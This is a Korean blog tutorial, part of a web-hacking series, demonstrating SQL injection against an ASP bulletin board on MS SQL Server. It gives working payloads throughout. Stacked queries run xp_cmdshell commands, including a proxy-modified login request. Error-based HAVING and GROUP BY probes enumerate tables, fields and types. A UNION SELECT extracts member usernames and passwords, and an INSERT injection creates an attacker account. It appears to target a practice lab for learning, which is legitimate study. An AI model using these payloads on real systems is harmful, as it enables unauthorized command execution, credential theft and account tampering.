본문 바로가기

Security/Web Hacking

No.8 SQL인젝션 공격 실습(2)

1. 시스템 명령어 실행

select * from member;exec master..xp_cmdshell 'ping 127.0.0.1'

SQL쿼리 분석기에 위와 같이 입력하시면

member정보 출력하는거와 ping명령어가 실행되는 것을 볼수있습니다.

(;) 즉, 세미클론으로 두가지 명령어를 한번에 실행하는 것입니다.

 

우와 같은 결과를 보실수 있습니다 즉, 이러한 성질을 이용해 서버에 명령어 실행을 할수 있는것입니다.

그렇다면 실습해봅시다.

로그인 아이디 입력폼에 exec matser..xp_cmdshell 'md c:\board\bbb'

를 하시면 됩니다 하지만 이때.

문제점은 로그인 페이지 입력값의 길이가 위보다 짧게 지정되 있을때 입니다.

이것을 오딧세이 즉 프록시툴로 회피해 보겠습니다.

일단

admin/sec123으로 로그인 했을때 전송되는 내용을 봅시다.

오딧세이 확인해서

memberid=admin';exec%20master..xp_cmdshell%20'md%20c:\board\aaa'--&pass1=sec123&button=%C8%AE%C0%CE

라고 입력하시면

서버쪽의 c:\board\aaa 라는 폴더가 생긴것을 확인하실수 있습니다.

 

 

2. 집계 함수 이용

집계는 이미 계산된 것들을 모아서 계산하는 것을 말합니다.

SQL의 집계 함수는 avg(0, sum(), count()등이 있습니다.

즉 , 이미 계산된 결과를 어떤 기준으로 그룹화 하는 함수들입니다.

그룹화 하는 기준을 집계 키라고 하는데, GROUP BY 절의 칼럼이나 연산식을 집계 키로 사용할 수 있습니다.여기에서 주의할점은 GROUP BY 절에 사용된 집계 키들만 SELECT목록에 사용할 수있다는 것입니다.

가 . 테이블명획득

그럼 테이블 명을 획득해보겠습니다.

입력  : test%' having 1=1--

쿼리 : select * from bbs where tTitle like '%test$' having 1=1--

 

그럼 이러한 오류를 내놓게됩니다.

기술 정보(지원 인력용)

  • 오류 형식:
    Microsoft OLE DB Provider for SQL Server (0x80040E14)
    'bbs.idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
    /board/board_search.asp, line 9

 

즉 여기서 위와같은 아주 중요한 정보를 에러로 얻음으로써 테이블 명을 획득 할수 있는것입니다.

 

나. 필드명 획득

입력 : trest%' group by idx --

쿼리 : select * from bbs where tTitle like '%test%' group by idx--

이때 에러 결과로 bbs.tld 열을 내놓게 됩니다.

즉 idx 테이블 명 다음의 tld를 얻고  마찬가지로

그다음

 

입력 : test%' group by tld --

쿼리 : select * from bbs where tTitle like '%test%' group by tld --

결과 : bbs.tName

 

이런 식으로 반복하면 bbs 테이블의 전체 필드명을 알게 될수 있는것입니다.

 

다. 필드 타입 획득

일단 게시글을 검색하면 어떤 식으로 검색 되는지

전 board_search.asp파일이 있어서 이 파일을 살펴보았습니다 이때

keyword = Request("keyword")

Set objRs = Server.CreateObject("ADODB.Recordset")
strSQL = "Select * From bbs Where tTitle like '%" & keyword & "%'"
objRs.Open strSQL, objConn, 1

TotCount = objRs.RecordCount

즉 키워드를 받아 Select * from bbs where tTitle like '%keyword%'을 생성하여 제목에 keyword가 있는지를 찾는 것입니다.

 

그럼 검색ㅇ어에 union을 이용하여 member테이블과 bbs 테이블의 필드 타입을 알아 내 봅시다.

입력 : test%' union select sum(bld) from member --

그럼 오류결과로

오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다.
/board/board_search.asp, line 9

이처럼 내놓게 됩니다 즉

sum()함수는 varchar 타입을 사용할 수 없기 때문에 이런 에러가 나오고 bid가 varchar타입인 것을 알 수 있습니다.

이와 같은 방법으로 테이블의 나머지 필드의 타입을 알아낼수 있습니다.

 

(UNION이란 => union은 두 쿼리의 결과를 합치는 것으로 필드의 갯수가 일치해야 하고, 각 필드의 타입이 일치해야 합니다. 참고로 union만 사용하면 중복 데이터를 하나만 표시하고 union all을 사용하면 중복 데이터 모두를 표시합니다.)

 

라. 계정 획득하기

 

union을 이용해 계정 획득 해봅시다.

입력 :, ..... 모든 필드명 bData From member--

이때 하나의 필드명이라도 성질이 다르면 안되기 때문에 하나의 필드명의 타입이 예를들어 숫자라하면

필드명 대신 , 숫자 즉, 1, 2 등등을 넣어 주시면됩니다.

결과는 ?

 

위와 같은 결과를 볼수 있습니다.

즉 , 제목에는  우편번호 작성자에는 패스워드가 표시가 되었네요.

이때

제목에 아이디를 표시하도록하면 아이디와 패스워드 정보를 획득할 수 있습니다.

제목(bbs. tTitle)과 아이디(member.bid)의 순서를 맞추면 됩니다. 

test%' union select idx, bname, bpass, bpost, bid, baddr1, baddr2, bphone, 9, bDate from member--((


위와 같이 제목에 아이디가 작성자에 패스워드 출력이 되게 됩니다.

 

마. 계정 추가하기

 

계정 추가하기 공격은 insert문을 이용해 member테이블에 공격자 계정을 추가하는 것입니다.

 

입력 : test%';insert into member (bid, bpass, bname, bpost, bphone) values('test', 'attack', 'a1', 'a2', 'a3');--

 

즉 이러한 공격은 회원가입이 불가능 할경우 게시판 검색을 이용해서 자기만의 아이디를 만드는 것입니다.

 

'Security > Web Hacking' 카테고리의 다른 글

No.10 Web Shell Upload 공격  (0) 2012.07.11
No.9 SQL인젝션 방어법  (0) 2012.07.11
No.7 SQL 인젝션 공격 실습  (0) 2012.07.11
No.6 SQL인젝션 알아보기  (0) 2012.07.11
No.5 WebHacking의 시작 WebGoat설치  (0) 2012.07.11